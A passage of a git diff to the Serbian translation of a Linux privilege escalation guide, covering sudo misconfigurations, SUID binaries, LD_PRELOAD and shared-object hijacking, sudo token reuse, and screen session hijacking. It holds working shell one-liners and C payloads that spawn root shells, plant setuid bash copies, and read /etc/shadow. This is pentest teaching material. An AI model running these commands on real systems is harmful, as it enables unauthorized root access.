be able to abuse it to escalate privileges**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** eskalacija privilegija +## **RunC** privilege escalation -Ako ustanovite da možete koristiti komandu **`runc`**, pročitajte sledeću stranu jer **možda možete da je zloupotrebite za eskalaciju privilegija**: +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -567,15 +567,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus je sofisticiran inter-Process Communication (IPC) sistem koji omogućava aplikacijama da efikasno komuniciraju i razmenjuju podatke. Dizajniran za moderan Linux sistem, pruža robustan okvir za različite oblike komunikacije između aplikacija. +D-Bus je sofisticiran **sistem za međuprocesnu komunikaciju (IPC)** koji omogućava aplikacijama efikasnu interakciju i razmenu podataka. Dizajniran sa savremenim Linux sistemom na umu, nudi robusni okvir za različite oblike komunikacije između aplikacija. -Sistem je svestran, podržava osnovni IPC koji poboljšava razmenu podataka između procesa, podsećajući na **enhanced UNIX domain sockets**. Takođe pomaže u emitovanju događaja ili signala, podstičući besprekornu integraciju među komponentama sistema. Na primer, signal od Bluetooth daemona o dolaznom pozivu može navesti muzički plejer da utiša zvuk, poboljšavajući korisničko iskustvo. Pored toga, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve za servis i pozive metoda između aplikacija, pojednostavljujući procese koji su nekada bili kompleksni. +Sistem je svestran, podržava osnovnu IPC koja poboljšava razmenu podataka između procesa, podsećajući na **enhanced UNIX domain sockets**. Pored toga, pomaže u emitovanju događaja ili signala, omogućavajući besprekornu integraciju među komponentama sistema. Na primer, signal od Bluetooth daemona o dolazećem pozivu može naterati plejer da utiša zvuk, poboljšavajući korisničko iskustvo. Takođe, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve servisa i pozive metoda između aplikacija, što pojednostavljuje procese koji su tradicionalno bili složeni. -D-Bus radi po modelu **allow/deny**, upravljajući dozvolama za poruke (pozivi metoda, emitovanja signala, itd.) na osnovu kumulativnog efekta odgovarajućih pravila politike. Ove politike određuju interakcije sa bus-om, potencijalno omogućavajući eskalaciju privilegija iskorišćavanjem ovih dozvola. +D-Bus radi na modelu **allow/deny**, upravljajući dozvolama poruka (pozivi metoda, emitovanje signala itd.) na osnovu kumulativnog efekta podudarnih pravila politike. Ove politike određuju interakcije sa bus-om, potencijalno dozvoljavajući eskalaciju privilegija kroz zloupotrebu tih dozvola. -Prikazan je primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf`, koji detaljno opisuje dozvole za korisnika root da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`. +Primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf` je dat, i prikazuje dozvole za korisnika root da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`. -Politike bez navedenog korisnika ili grupe važe univerzalno, dok politike sa "default" kontekstom važe za sve koji nisu pokriveni drugim specifičnim politikama. +Politike bez specificiranog korisnika ili grupe važe univerzalno, dok "default" kontekst politike važe za sve koji nisu obuhvaćeni drugim specifičnim politikama. ```xml @@ -584,7 +584,7 @@ Politike bez navedenog korisnika ili grupe važe univerzalno, dok politike sa "d ``` -**Saznajte kako da enumerate i exploit D-Bus communication ovde:** +**Saznajte kako da enumerate i exploit D-Bus komunikaciju ovde:** {{#ref}} @@ -593,9 +593,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Mreža** -Uvek je interesantno da enumerate mrežu i utvrdite poziciju mašine. +Uvek je zanimljivo da enumerate mrežu i odredite poziciju mašine. -### Opšta enumeration +### Generic enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -618,16 +618,16 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Otvoreni portovi +### Open ports -Uvek proverite mrežne servise koji rade na mašini, a sa kojima niste mogli da komunicirate pre nego što ste joj pristupili: +Uvek proverite mrežne servise koji rade na mašini sa kojima niste mogli da komunicirate pre nego što ste joj pristupili: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Proverite da li možete sniff traffic. Ako možete, mogli biste uspeti da dobijete neke credentials. +Proverite da li možete sniff traffic. Ako možete, možda ćete moći da dohvatite neke credentials. ``` timeout 1 tcpdump ``` @@ -635,7 +635,7 @@ timeout 1 tcpdump ### Opšta enumeracija -Proverite **ko** ste, koje **privilegije** imate, koji **korisnici** su u sistemu, koji mogu da se **login** i koji imaju **root privileges:** +Proverite **who** ste, koje **privileges** imate, koji **users** su u sistemu, koji mogu da **login** i koji imaju **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -659,12 +659,12 @@ gpg --list-keys 2>/dev/null ``` ### Veliki UID -Neke verzije Linuxa bile su pogođene greškom koja omogućava korisnicima sa **UID > INT_MAX** da eskaliraju privilegije. Više informacija: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) i [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Iskoristi to koristeći:** **`systemd-run -t /bin/bash`** +Neke verzije Linux-a su bile pogođene greškom koja omogućava korisnicima sa **UID > INT_MAX** da eskaliraju privilegije. Više informacija: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** ### Grupe -Proveri da li si **član neke grupe** koja bi ti mogla dodeliti root privilegije: +Proverite da li ste **član neke grupe** koja bi vam mogla dodeliti root privilegije: {{#ref}} @@ -673,7 +673,7 @@ interesting-groups-linux-pe/ ### Međuspremnik -Proveri da li se nešto zanimljivo nalazi u međuspremniku (ako je moguće) +Proverite da li se u međuspremniku nalazi nešto zanimljivo (ako je moguće) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -690,27 +690,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Poznate lozinke -Ako **znate bilo koju password** iz okruženja, **pokušajte da se loginujete kao svaki user** koristeći tu password. +Ako **znate bilo koju lozinku** iz okruženja, **pokušajte da se prijavite kao svaki korisnik** koristeći tu lozinku. ### Su Brute -Ako vam ne smeta da pravite mnogo buke i `su` i `timeout` binarni fajlovi su prisutni na računaru, možete pokušati da bruteforce-ujete user koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa parametrom `-a` takođe pokušava da bruteforce-uje user-e. +Ako vam ne smeta stvaranje puno buke i `su` i `timeout` binari su prisutni na računaru, možete pokušati da brute-force-ujete korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa `-a` parametrom takođe pokušava da brute-force-uje korisnike. -## Zloupotrebe zapisivog $PATH +## Zloupotrebe upisivog $PATH ### $PATH -Ako otkrijete da možete **pisati u neki folder iz $PATH** možda ćete moći da eskalirate privilegije tako što ćete **kreirati backdoor unutar zapisivog foldera** sa imenom neke komande koja će biti izvršena od strane drugog user-a (idealno root) i koja **se ne učitava iz foldera koji se nalazi pre** vašeg zapisivog foldera u $PATH. +Ako otkrijete da možete **pisati u neki folder iz $PATH** možda ćete moći da eskalirate privilegije tako što ćete **napraviti backdoor u upisivom folderu** pod imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja **nije učitana iz foldera koji se nalazi pre** vašeg upisivog foldera u $PATH. ### SUDO and SUID -Možda imate dozvolu da izvršite neku komandu koristeći sudo ili neke binarne imaju suid bit. Proverite to koristeći: +Moguće je da vam je dozvoljeno da izvršavate neku komandu koristeći sudo ili da neke komande imaju suid bit. Proverite to koristeći: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Neke **neočekivane komande omogućavaju čitanje i/ili pisanje fajlova ili čak izvršavanje komande.** Na primer: +Neke **neočekivane naredbe omogućavaju čitanje i/ili pisanje datoteka ili čak izvršavanje komandi.** Na primer: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -721,31 +721,31 @@ less>! ``` ### NOPASSWD -Konfiguracija sudo može dozvoliti korisniku da izvrši neku komandu sa privilegijama drugog korisnika bez poznavanja lozinke. +Sudo konfiguracija može dozvoliti korisniku da izvrši komandu sa privilegijama drugog korisnika bez poznavanja lozinke. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -U ovom primeru korisnik `demo` može da pokrene `vim` kao `root`, sada je trivijalno dobiti shell dodavanjem ssh ključa u root direktorijum ili pozivanjem `sh`. +U ovom primeru korisnik `demo` može da pokrene `vim` kao `root`; sada je trivijalno dobiti shell dodavanjem ssh key u root direktorijum ili pozivanjem `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Ova direktiva omogućava korisniku da **set an environment variable** prilikom izvršavanja nečega: +Ova direktiva omogućava korisniku da **set an environment variable** pri izvršavanju nečega: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Ovaj primer, **zasnovan na HTB machine Admirer**, bio je **ranjiv** na **PYTHONPATH hijacking** kojim je moguće učitati proizvoljnu python biblioteku prilikom izvršavanja skripte kao root: +Ovaj primer, **zasnovan na HTB machine Admirer**, bio je **ranjiv** na **PYTHONPATH hijacking** za učitavanje proizvoljne python biblioteke prilikom izvršavanja skripte kao root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Sudo: zaobilaženje izvršavanja putem putanja -**Skoči** da pročitaš druge fajlove ili koristi **symlinks**. Na primer, u sudoers fajlu: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Skoči** da pročitaš druge fajlove ili koristi **symlinks**. Na primer u sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -755,46 +755,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Ako se koristi **wildcard** (\*), to je još lakše: +Ako se koristi **wildcard** (\*), još je lakše: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Protivmere**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Protumere**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary bez putanje do komande +### Sudo command/SUID binary bez putanje komande -Ako je **sudo dozvola** dodeljena jednoj komandi **bez navođenja putanje**: _hacker10 ALL= (root) less_ možete to iskoristiti promenom promenljive PATH. +Ako je **sudo dozvola** dodeljena jednoj komandi **bez navođenja putanje**: _hacker10 ALL= (root) less_, možete to iskoristiti menjajući PATH varijablu ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Ova tehnika se može koristiti i ako **suid** binarni fajl **izvršava drugu komandu bez navođenja puta do nje (uvek proverite pomoću** _**strings**_ **sadržaj sumnjivog SUID binarnog fajla)**. +Ova tehnika se takođe može koristiti ako **suid** binary **izvršava drugu komandu bez navođenja putanje do nje (uvek proveri pomoću** _**strings**_ **sadržaj čudnog SUID binary)**). [Payload examples to execute.](payloads-to-execute.md) -### SUID binarni fajl sa putanjom komande +### SUID binary sa putanjom komande -Ako **suid** binarni fajl **izvršava drugu komandu navodeći putanju**, onda možete pokušati da kreirate i export a function pod imenom komande koju suid fajl poziva. +Ako **suid** binary **izvršava drugu komandu navodeći putanju**, onda možete pokušati da kreirate i **export a function** pod imenom komande koju suid fajl poziva. -Na primer, ako suid binarni fajl poziva _**/usr/sbin/service apache2 start**_ morate pokušati da kreirate funkciju i export-ujete je: +Na primer, ako suid binary poziva _**/usr/sbin/service apache2 start**_, morate pokušati da kreirate funkciju i exportujete je: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Zatim, kada pozovete suid binary, ova funkcija će biti izvršena +Zatim, kada pozovete suid binarni fajl, ova funkcija će biti izvršena ### LD_PRELOAD & **LD_LIBRARY_PATH** -Promenljiva okruženja **LD_PRELOAD** koristi se za specificiranje jedne ili više deljenih biblioteka (.so fajlova) koje učitavač treba da učita pre svih ostalih, uključujući standardnu C biblioteku (`libc.so`). Ovaj proces se poznaje kao prethodno učitavanje biblioteke. +Promenljiva okruženja **LD_PRELOAD** koristi se za navođenje jedne ili više shared biblioteka (.so fajlova) koje loader učitava pre svih ostalih, uključujući standardnu C biblioteku (`libc.so`). Ovaj proces je poznat kao prethodno učitavanje biblioteke. -Međutim, da bi se održala bezbednost sistema i sprečilo zloupotrebljavanje ove funkcije, posebno kod suid/sgid izvršnih fajlova, sistem nameće određene uslove: +Međutim, kako bi se održala sigurnost sistema i sprečilo zloupotrebljavanje ove funkcije, naročito kod **suid/sgid** izvršnih fajlova, sistem nameće određene uslove: -- Učitavač ignoriše **LD_PRELOAD** za izvršne fajlove gde realni ID korisnika (_ruid_) nije jednak efektivnom ID-u korisnika (_euid_). -- Za izvršne fajlove sa suid/sgid, prethodno se učitavaju samo biblioteke koje se nalaze u standardnim putanjama i koje su takođe suid/sgid. +- Loader ignoriše **LD_PRELOAD** za izvršne fajlove kod kojih stvarni korisnički ID (_ruid_) nije isti kao efektivni korisnički ID (_euid_). +- Za izvršne fajlove sa suid/sgid, samo biblioteke u standardnim putanjama koje su takođe suid/sgid se prethodno učitavaju. -Esakalacija privilegija može da se desi ako imate mogućnost da izvršavate komande sa `sudo` i izlaz `sudo -l` sadrži izjavu **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava da promenljiva okruženja **LD_PRELOAD** opstane i bude prepoznata čak i kada se komande pokreću sa `sudo`, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama. +Do eskalacije privilegija može doći ako imate mogućnost izvršavanja komandi sa `sudo` i izlaz `sudo -l` uključuje izjavu **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava da promenljiva okruženja **LD_PRELOAD** opstane i bude prepoznata čak i kada se komande pokreću sa `sudo`, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama. ``` Defaults env_keep += LD_PRELOAD ``` @@ -821,7 +821,7 @@ Na kraju, **escalate privileges** pokretanjem sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Sličan privesc može biti zloupotrebljen ako napadač kontroliše **LD_LIBRARY_PATH** env promenljivu, jer on kontroliše putanju u kojoj će se tražiti biblioteke. +> Sličan privesc se može zloupotrebiti ako napadač kontroliše **LD_LIBRARY_PATH** env variable jer on kontroliše putanju u kojoj će se biblioteke tražiti. ```c #include #include @@ -841,15 +841,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` -### SUID Binary – .so injection +### SUID binarni fajl – .so injection -Kada naiđete na binarni fajl sa **SUID** permisijama koji deluje neobično, dobra je praksa proveriti da li pravilno učitava **.so** fajlove. To se može proveriti pokretanjem sledeće komande: +Kada naiđete na binarni fajl sa **SUID** dozvolama koji deluje neuobičajeno, dobra je praksa proveriti da li ispravno učitava **.so** fajlove. To se može proveriti pokretanjem sledeće komande: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Na primer, nailazak na grešku kao _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ ukazuje na potencijal za eksploataciju. +Na primer, susretanje greške kao što je _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ ukazuje na potencijal za eksploataciju. -Da biste iskoristili ovo, nastavite tako što ćete kreirati C fajl, na primer _"/path/to/.config/libcalc.c"_, koji sadrži sledeći kod: +Da bi se ovo eksploatisalo, treba napraviti C fajl, na primer _"/path/to/.config/libcalc.c"_, koji sadrži sledeći kod: ```c #include #include @@ -860,13 +860,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ovaj kod, kada se kompajlira i izvrši, ima za cilj eskalaciju privilegija manipulisanjem dozvola fajlova i pokretanjem shell-a sa povišenim privilegijama. +Ovaj kod, nakon što se kompajlira i izvrši, ima za cilj eskalaciju privilegija manipulacijom dozvola fajlova i izvršavanjem shell-a sa povišenim privilegijama. -Kompajlirajte gore navedeni C fajl u shared object (.so) fajl pomoću: +Kompajlirajte gore navedeni C fajl u shared object (.so) fajl sa: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Na kraju, pokretanje pogođenog SUID binary trebalo bi da pokrene exploit, omogućavajući potencijalno kompromitovanje sistema. +Na kraju, pokretanje pogođenog SUID binary-a trebalo bi da pokrene exploit, omogućavajući potencijalno kompromitovanje sistema. ## Shared Object Hijacking ```bash @@ -878,7 +878,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Sada kada smo pronašli SUID binary koji učitava library iz foldera u koji možemo pisati, napravimo library u tom folderu sa potrebnim imenom: +Sada kada smo pronašli SUID binary koji učitava biblioteku iz foldera u koji možemo pisati, kreirajmo biblioteku u tom folderu sa odgovarajućim imenom: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -899,9 +899,9 @@ to znači da biblioteka koju ste generisali treba da sadrži funkciju nazvanu `a ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) je kurirana lista Unix binarnih programa koje napadač može iskoristiti da zaobiđe lokalna bezbednosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto, ali za slučajeve kada možete **samo ubaciti argumente** u komandu. +[**GTFOBins**](https://gtfobins.github.io) je kurirana lista Unix binarnih fajlova koje napadač može iskoristiti za zaobilaženje lokalnih bezbednosnih ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto, ali za slučajeve kada možete **samo ubacivati argumente** u komandu. -Projekat prikuplja legitimne funkcionalnosti Unix binarnih programa koje se mogu zloupotrebiti da izađete iz restricted shells, eskalirate ili održavate povišene privilegije, prenosite fajlove, pokrećete bind and reverse shells, i olakšavate druge post-exploitation zadatke. +Projekat prikuplja legitimne funkcije Unix binarnih fajlova koje se mogu zloupotrebiti za izlazak iz ograničenih shell-ova, eskalaciju ili održavanje povišenih privilegija, prenos fajlova, pokretanje bind i reverse shell-ova, i olakšavanje drugih post-exploitation zadataka. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -920,50 +920,50 @@ https://gtfoargs.github.io/ ### FallOfSudo -Ako možete da pokrenete `sudo -l` možete koristiti alat [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) da proverite da li on nalazi način da iskoristi bilo koje sudo pravilo. +If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. ### Reusing Sudo Tokens -U slučajevima kada imate **sudo access** ali ne i lozinku, možete eskalirati privilegije čekajući izvršenje sudo komande i zatim oteti session token. +In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. Zahtevi za eskalaciju privilegija: - Već imate shell kao korisnik "_sampleuser_" -- "_sampleuser_" je **koristio `sudo`** da izvrši nešto u **poslednjih 15 minuta** (po defaultu to je trajanje sudo tokena koji nam omogućava da koristimo `sudo` bez unošenja lozinke) +- "_sampleuser_" je **koristio `sudo`** da izvrši nešto u **poslednjih 15mins** (po defaultu to je trajanje sudo tokena koji nam omogućava da koristimo `sudo` bez unošenja lozinke) - `cat /proc/sys/kernel/yama/ptrace_scope` je 0 - `gdb` je dostupan (možete ga otpremiti) -(Možete privremeno omogućiti `ptrace_scope` sa `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ili trajno menjajući `/etc/sysctl.d/10-ptrace.conf` i postavljajući `kernel.yama.ptrace_scope = 0`) +(Možete privremeno omogućiti `ptrace_scope` sa `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ili trajno izmenom `/etc/sysctl.d/10-ptrace.conf` i postavljanjem `kernel.yama.ptrace_scope = 0`) -Ako su svi ovi zahtevi ispunjeni, **možete eskalirati privilegije koristeći:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) će kreirati binarni fajl `activate_sudo_token` u _/tmp_. Možete ga koristiti da aktivirate sudo token u svojoj sesiji (nećete automatski dobiti root shell, uradite `sudo su`): +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **Drugi exploit** (`exploit_v2.sh`) će kreirati sh shell u _/tmp_ **u vlasništvu root-a sa setuid** +- **Drugi exploit** (`exploit_v2.sh`) će kreirati sh shell u _/tmp_ **owned by root with setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- **treći exploit** (`exploit_v3.sh`) će **kreirati sudoers fajl** koji čini **sudo tokens večnim i dozvoljava svim korisnicima da koriste sudo** +- **Treći exploit** (`exploit_v3.sh`) će **kreirati sudoers file** koji čini **sudo tokens večnim i omogućava svim korisnicima da koriste sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Ako imate **write permissions** u folderu ili na bilo kojoj od datoteka kreiranih unutar foldera, možete koristiti binarni [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **create a sudo token for a user and PID**.\ -Na primer, ako možete prepisati fajl _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **obtain sudo privileges** bez potrebe da znate lozinku tako što ćete: +Ako imate **prava za pisanje** u direktorijumu ili na bilo kom od fajlova kreiranih u tom direktorijumu, možete koristiti binarni [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **kreirate sudo token za korisnika i PID**.\ +Na primer, ako možete prepisati fajl _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID-om 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku tako što ćete: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Datoteka `/etc/sudoers` i datoteke unutar `/etc/sudoers.d` konfigurišu ko može da koristi `sudo` i kako. Ove datoteke su **podrazumevano čitljive samo od strane korisnika root i grupe root**.\ -**Ako** možete da **pročitate** ovu datoteku, mogli biste uspeti da **dobijete neke interesantne informacije**, a ako možete da **pišete** u bilo koju datoteku, bićete u stanju da **eskalirate privilegije**. +Datoteka `/etc/sudoers` i datoteke unutar `/etc/sudoers.d` konfigurišu ko može da koristi `sudo` i kako. Ove datoteke **po defaultu mogu biti pročitane samo od strane korisnika root i grupe root**.\ +**Ako** možete **pročitati** ovu datoteku, mogli biste uspeti da **dobijete neke zanimljive informacije**, a ako možete **upisati** bilo koju datoteku moći ćete **eskalirati privilegije**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -982,17 +982,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Postoje neke alternative za binarnu datoteku `sudo`, kao što je `doas` za OpenBSD. Ne zaboravite da proverite njegovu konfiguraciju u `/etc/doas.conf` +Postoje neke alternative za `sudo` binary, kao što je `doas` za OpenBSD — ne zaboravite da proverite njegovu konfiguraciju u `/etc/doas.conf`. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Ako znate da **korisnik obično povezuje na mašinu i koristi `sudo`** da eskalira privilegije i imate shell u okviru tog korisničkog konteksta, možete **napraviti novi sudo executable** koji će izvršiti vaš kod kao root, a zatim komandu korisnika. Zatim **izmenite $PATH** korisničkog konteksta (na primer dodavanjem novog puta u .bash_profile) tako da kada korisnik pokrene sudo, izvrši se vaš sudo executable. +Ako znate da se **korisnik obično povezuje na mašinu i koristi `sudo`** da eskalira privilegije i imate shell u tom korisničkom kontekstu, možete **kreirati novi sudo izvršni fajl** koji će izvršiti vaš kod kao root, a zatim komandu korisnika. Zatim **izmenite $PATH** korisničkog konteksta (na primer dodavanjem novog puta u .bash_profile) tako da kada korisnik pokrene sudo, izvrši se vaš sudo izvršni fajl. -Obratite pažnju da ako korisnik koristi drugi shell (ne bash) moraćete da izmenite druge fajlove da dodate novi put. Na primer[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Imajte na umu da ako korisnik koristi drugi shell (ne bash) moraćete da izmenite druge fajlove da dodate novi path. Na primer [sudo-piggyback](https://github.com/APTy/sudo-piggyback) menja `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Možete naći još jedan primer u [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Ili pokretanje nečega poput: +Ili pokretanjem nečeg poput: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Kopiranjem lib u `/var/tmp/flag15/` ona će biti korišćena od strane programa na ovom mestu, kako je navedeno u `RPATH` varijabli. +Kopiranjem biblioteke u `/var/tmp/flag15/`, program će je koristiti na ovom mestu, kako je navedeno u promenljivoj `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1056,61 +1057,61 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Mogućnosti +## Capabilities -Linux capabilities pružaju **podskup dostupnih root privilegija procesu**. Ovo efektivno deli root **privilegije na manje i odvojene jedinice**. Svakoj od ovih jedinica se zatim može nezavisno dodeliti procesima. Na taj način se smanjuje kompletan skup privilegija, čime se umanjuje rizik od eksploatacije.\ -Pročitajte sledeću stranicu da biste **saznali više o capabilities i kako ih zloupotrebiti**: +Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ +Read the following page to **learn more about capabilities and how to abuse them**: {{#ref}} linux-capabilities.md {{#endref}} -## Dozvole direktorijuma +## Directory permissions -U direktorijumu, **bit za "execute"** implicira da korisnik na koga se odnosi može da se "**cd**" u folder.\ -**"Read"** bit implicira da korisnik može **listati** **fajlove**, a **"write"** bit implicira da korisnik može **brisati** i **kreirati** nove **fajlove**. +U direktorijumu, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ +The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. ## ACLs -Access Control Lists (ACLs) predstavljaju sekundarni sloj diskrecionih dozvola, sposoban da **prevaziđe tradicionalne ugo/rwx dozvole**. Ove dozvole unapređuju kontrolu pristupa fajlovima ili direktorijumima tako što omogućavaju ili odbijaju prava određenim korisnicima koji nisu vlasnici niti deo grupe. Ovaj nivo **granularnosti omogućava preciznije upravljanje pristupom**. Dalji detalji se mogu naći [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) predstavljaju sekundarni sloj diskrecionih dozvola, sposoban da **nadjača the traditional ugo/rwx permissions**. Ove dozvole poboljšavaju kontrolu pristupa fajlu ili direktorijumu tako što omogućavaju ili uskraćuju prava određenim korisnicima koji nisu vlasnici niti članovi grupe. Ovaj nivo **granularnosti omogućava preciznije upravljanje pristupom**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Dodeliti** korisniku "kali" read i write dozvole nad fajlom: +**Give** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Pronađi** datoteke sa specifičnim ACLs na sistemu: +**Pronađite** fajlove sa određenim ACL-ovima iz sistema: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Otvorene shell sessions -U **starijim verzijama** možete **hijack** neku **shell session** drugog korisnika (**root**).\ -U **najnovijim verzijama** moći ćete da se **connect** samo na screen sessions svog korisničkog naloga. Ipak, možete pronaći **zanimljive informacije unutar sessiona**. +U **old versions** možete **hijack** neku **shell** session drugog korisnika (**root**).\ +U **newest versions** moći ćete da se **connect** na screen sessions samo kao **your own user**. Međutim, možete pronaći **interesting information inside the session**. ### screen sessions hijacking -**Prikaži screen sessions** +**List screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Prikači se na sesiju** +**Priključi se na sesiju** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 